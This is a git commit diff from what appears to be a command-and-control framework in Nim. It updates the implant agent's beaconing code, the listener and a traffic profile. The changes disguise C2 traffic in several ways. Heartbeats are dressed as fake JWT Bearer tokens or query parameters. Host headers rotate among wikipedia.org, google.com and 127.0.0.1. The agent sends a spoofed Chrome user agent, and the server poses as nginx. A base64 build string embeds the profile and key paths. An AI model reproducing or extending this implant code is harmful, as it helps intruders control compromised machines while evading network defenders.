Added more randomization. The profile now supports setting keys to an array of strings, from which a random one is chosen each time (useful for e.g. Host header, etc.)

This commit is contained in:
Jakob Friedl
2025-08-17 16:27:48 +02:00
parent 22c15dd82c
commit 739faf781e
5 changed files with 50 additions and 30 deletions

View File

@@ -50,7 +50,11 @@ lang = "en-US"
# Defines arbitrary headers that are added by the agent when performing a HTTP GET request
[http-get.agent.headers]
Host = "wikipedia.org"
Host = [
"wikipedia.org",
"google.com",
"127.0.0.1"
]
Connection = "Keep-Alive"
Cache-Control = "no-cache"
@@ -83,7 +87,11 @@ request-methods = [
]
[http-post.agent.headers]
Host = "wikipedia.org"
Host = [
"wikipedia.org",
"google.com",
"127.0.0.1"
]
Content-Type = "application/octet-stream"
Connection = "Keep-Alive"
Cache-Control = "no-cache"

View File

@@ -14,17 +14,27 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
of "none":
heartbeatString = Bytes.toString(heartbeat)
let prefix = ctx.profile.getString("http-get.agent.heartbeat.prefix")
let suffix = ctx.profile.getString("http-get.agent.heartbeat.suffix")
# Define request headers, as defined in profile
for header, value in ctx.profile.getTable("http-get.agent.headers"):
client.headers.add(header, value.getStringValue())
let payload = prefix & heartbeatString & suffix
# Select a random endpoint to make the request to
var endpoint = ctx.profile.getString("http-get.endpoints")
if endpoint[0] == '/':
endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters
let
prefix = ctx.profile.getString("http-get.agent.heartbeat.prefix")
suffix = ctx.profile.getString("http-get.agent.heartbeat.suffix")
payload = prefix & heartbeatString & suffix
# Add heartbeat packet to the request
case ctx.profile.getString("http-get.agent.heartbeat.placement.type"):
of "header":
client.headers.add(ctx.profile.getString("http-get.agent.heartbeat.placement.name"), payload)
of "parameter":
discard
let param = ctx.profile.getString("http-get.agent.heartbeat.placement.name")
endpoint &= fmt"{param}={payload}&"
of "uri":
discard
of "body":
@@ -32,24 +42,13 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
else:
discard
# Define request headers, as defined in profile
for header, value in ctx.profile.getTable("http-get.agent.headers"):
client.headers.add(header, value.getStringValue())
# Define additional request parameters
var params = ""
for param, value in ctx.profile.getTable("http-get.agent.parameters"):
params &= fmt"&{param}={value.getStringValue()}"
params[0] = '?'
# Select a random endpoint to make the request to
var endpoint = ctx.profile.getArray("http-get.endpoints").getRandom().getStringValue()
if endpoint[0] == '/':
endpoint = endpoint[1..^1]
endpoint &= fmt"{param}={value.getStringValue()}&"
try:
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
return waitFor client.getContent(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint}{params}")
return waitFor client.getContent(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint[0..^2]}")
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
@@ -69,11 +68,11 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
client.headers.add(header, value.getStringValue())
# Select a random endpoint to make the request to
var endpoint = ctx.profile.getArray("http-post.endpoints").getRandom().getStringValue()
var endpoint = ctx.profile.getString("http-post.endpoints")
if endpoint[0] == '/':
endpoint = endpoint[1..^1]
let requestMethod = parseEnum[HttpMethod](ctx.profile.getArray("http-post.request-methods").getRandom().getStringValue("POST"))
let requestMethod = parseEnum[HttpMethod](ctx.profile.getString("http-post.request-methods", "POST"))
let body = Bytes.toString(data)

View File

@@ -7,4 +7,4 @@
-d:ListenerPort=8080
-d:SleepDelay=3
-d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U="
-d:ProfileString="bmFtZSA9ICJjcS1kZWZhdWx0LXByb2ZpbGUiCmNvbnF1ZXN0X2RpcmVjdG9yeSA9ICIvbW50L2MvVXNlcnMvamFrb2IvRG9jdW1lbnRzL1Byb2plY3RzL2NvbnF1ZXN0Igpwcml2YXRlX2tleV9maWxlID0gIi9tbnQvYy9Vc2Vycy9qYWtvYi9Eb2N1bWVudHMvUHJvamVjdHMvY29ucXVlc3QvZGF0YS9rZXlzL2NvbnF1ZXN0LXNlcnZlcl94MjU1MTlfcHJpdmF0ZS5rZXkiCmRhdGFiYXNlX2ZpbGUgPSAiL21udC9jL1VzZXJzL2pha29iL0RvY3VtZW50cy9Qcm9qZWN0cy9jb25xdWVzdC9kYXRhL2NvbnF1ZXN0LmRiIgpbYWdlbnRdCnNsZWVwID0gNQp1c2VyLWFnZW50ID0gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzguMC4wLjAgU2FmYXJpLzUzNy4zNiIKCltodHRwLWdldF0KZW5kcG9pbnRzID0gWyIvZ2V0IiwgIi9hcGkvdjEuMi9zdGF0dXMuanMiXQpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0XQpwcmVmaXggPSAiQmVhcmVyIGV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS4iCnN1ZmZpeCA9ICIuIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMtIyMjIyIKW2h0dHAtZ2V0LmFnZW50LmhlYXJ0YmVhdC5wbGFjZW1lbnRdCnR5cGUgPSAiaGVhZGVyIgpuYW1lID0gIkF1dGhvcml6YXRpb24iCgpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0LmVuY29kaW5nXQp0eXBlID0gImJhc2U2NCIKdXJsLXNhZmUgPSB0cnVlCgoKW2h0dHAtZ2V0LmFnZW50LnBhcmFtZXRlcnNdCmlkID0gIiMjIyMjLSMjIyMjIgpsYW5nID0gImVuLVVTIgoKW2h0dHAtZ2V0LmFnZW50LmhlYWRlcnNdCkhvc3QgPSAid2lraXBlZGlhLm9yZyIKQ29ubmVjdGlvbiA9ICJLZWVwLUFsaXZlIgpDYWNoZS1Db250cm9sID0gIm5vLWNhY2hlIgoKW2h0dHAtZ2V0LnNlcnZlci5oZWFkZXJzXQpTZXJ2ZXIgPSAibmdpbngiCkNvbnRlbnQtVHlwZSA9ICJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iCkNvbm5lY3Rpb24gPSAiS2VlcC1BbGl2ZSIKCltodHRwLWdldC5zZXJ2ZXIub3V0cHV0LnBsYWNlbWVudF0KdHlwZSA9ICJib2R5IgoKCltodHRwLXBvc3RdCmVuZHBvaW50cyA9IFsiL3Bvc3QiLCAiL2FwaS92Mi9nZXQuanMiXQpyZXF1ZXN0LW1ldGhvZHMgPSBbIlBPU1QiLCAiUFVUIl0KW2h0dHAtcG9zdC5hZ2VudC5oZWFkZXJzXQpIb3N0ID0gIndpa2lwZWRpYS5vcmciCkNvbnRlbnQtVHlwZSA9ICJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iCkNvbm5lY3Rpb24gPSAiS2VlcC1BbGl2ZSIKQ2FjaGUtQ29udHJvbCA9ICJuby1jYWNoZSIKCltodHRwLXBvc3QuYWdlbnQub3V0cHV0LnBsYWNlbWVudF0KdHlwZSA9ICJib2R5IgoKW2h0dHAtcG9zdC5zZXJ2ZXIuaGVhZGVyc10KU2VydmVyID0gIm5naW54IgoKW2h0dHAtcG9zdC5zZXJ2ZXIub3V0cHV0LnBsYWNlbWVudF0KdHlwZSA9ICJib2R5IgoKCg=="
-d:ProfileString="bmFtZSA9ICJjcS1kZWZhdWx0LXByb2ZpbGUiCmNvbnF1ZXN0X2RpcmVjdG9yeSA9ICIvbW50L2MvVXNlcnMvamFrb2IvRG9jdW1lbnRzL1Byb2plY3RzL2NvbnF1ZXN0Igpwcml2YXRlX2tleV9maWxlID0gIi9tbnQvYy9Vc2Vycy9qYWtvYi9Eb2N1bWVudHMvUHJvamVjdHMvY29ucXVlc3QvZGF0YS9rZXlzL2NvbnF1ZXN0LXNlcnZlcl94MjU1MTlfcHJpdmF0ZS5rZXkiCmRhdGFiYXNlX2ZpbGUgPSAiL21udC9jL1VzZXJzL2pha29iL0RvY3VtZW50cy9Qcm9qZWN0cy9jb25xdWVzdC9kYXRhL2NvbnF1ZXN0LmRiIgpbYWdlbnRdCnNsZWVwID0gNQp1c2VyLWFnZW50ID0gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzguMC4wLjAgU2FmYXJpLzUzNy4zNiIKCltodHRwLWdldF0KZW5kcG9pbnRzID0gWyIvZ2V0IiwgIi9hcGkvdjEuMi9zdGF0dXMuanMiXQpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0XQpwcmVmaXggPSAiQmVhcmVyIGV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS4iCnN1ZmZpeCA9ICIuIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMtIyMjIyIKW2h0dHAtZ2V0LmFnZW50LmhlYXJ0YmVhdC5wbGFjZW1lbnRdCnR5cGUgPSAiaGVhZGVyIgpuYW1lID0gIkF1dGhvcml6YXRpb24iCgpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0LmVuY29kaW5nXQp0eXBlID0gImJhc2U2NCIKdXJsLXNhZmUgPSB0cnVlCgoKW2h0dHAtZ2V0LmFnZW50LnBhcmFtZXRlcnNdCmlkID0gIiMjIyMjLSMjIyMjIgpsYW5nID0gImVuLVVTIgoKW2h0dHAtZ2V0LmFnZW50LmhlYWRlcnNdCkhvc3QgPSBbIndpa2lwZWRpYS5vcmciLCAiZ29vZ2xlLmNvbSIsICIxMjcuMC4wLjEiXQpDb25uZWN0aW9uID0gIktlZXAtQWxpdmUiCkNhY2hlLUNvbnRyb2wgPSAibm8tY2FjaGUiCgpbaHR0cC1nZXQuc2VydmVyLmhlYWRlcnNdClNlcnZlciA9ICJuZ2lueCIKQ29udGVudC1UeXBlID0gImFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIKQ29ubmVjdGlvbiA9ICJLZWVwLUFsaXZlIgoKW2h0dHAtZ2V0LnNlcnZlci5vdXRwdXQucGxhY2VtZW50XQp0eXBlID0gImJvZHkiCgoKW2h0dHAtcG9zdF0KZW5kcG9pbnRzID0gWyIvcG9zdCIsICIvYXBpL3YyL2dldC5qcyJdCnJlcXVlc3QtbWV0aG9kcyA9IFsiUE9TVCIsICJQVVQiXQpbaHR0cC1wb3N0LmFnZW50LmhlYWRlcnNdCkhvc3QgPSAid2lraXBlZGlhLm9yZyIKQ29udGVudC1UeXBlID0gImFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIKQ29ubmVjdGlvbiA9ICJLZWVwLUFsaXZlIgpDYWNoZS1Db250cm9sID0gIm5vLWNhY2hlIgoKW2h0dHAtcG9zdC5hZ2VudC5vdXRwdXQucGxhY2VtZW50XQp0eXBlID0gImJvZHkiCgpbaHR0cC1wb3N0LnNlcnZlci5oZWFkZXJzXQpTZXJ2ZXIgPSAibmdpbngiCgpbaHR0cC1wb3N0LnNlcnZlci5vdXRwdXQucGxhY2VtZW50XQp0eXBlID0gImJvZHkiCgoK"

View File

@@ -23,8 +23,21 @@ proc randomChar(): char =
let alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
return alphabet[rand(alphabet.len - 1)]
proc getRandom*(values: seq[TomlValueRef]): TomlValueRef =
if values.len == 0:
return nil
return values[rand(values.len - 1)]
proc getStringValue*(key: TomlValueRef, default: string = ""): string =
let value = key.getStr(default)
# In some cases, the profile can define multiple values for a key, e.g. for HTTP headers
# A random entry is selected from these specifications
var value: string = ""
if key.kind == TomlValueKind.String:
value = key.getStr(default)
elif key.kind == TomlValueKind.Array:
value = key.getElems().getRandom().getStr(default)
# Replace '#' with a random alphanumerical character and return the resulting string
return value.mapIt(if it == '#': randomChar() else: it).join("")
@@ -57,8 +70,3 @@ proc getArray*(profile: Profile, path: string): seq[TomlValueRef] =
if key == nil:
return @[]
return key.getElems()
proc getRandom*(values: seq[TomlValueRef]): TomlValueRef =
if values.len == 0:
return nil
return values[rand(values.len - 1)]

View File

@@ -30,7 +30,12 @@ proc httpGet*(ctx: Context) {.async.} =
heartbeatString = ctx.request.getHeader(heartbeatHeader)[0]
of "parameter":
discard
let param = cq.profile.getString("http-get.agent.heartbeat.placement.name")
heartbeatString = ctx.getQueryParams(param)
if heartbeatString.len <= 0:
resp "", Http404
return
of "uri":
discard
of "body":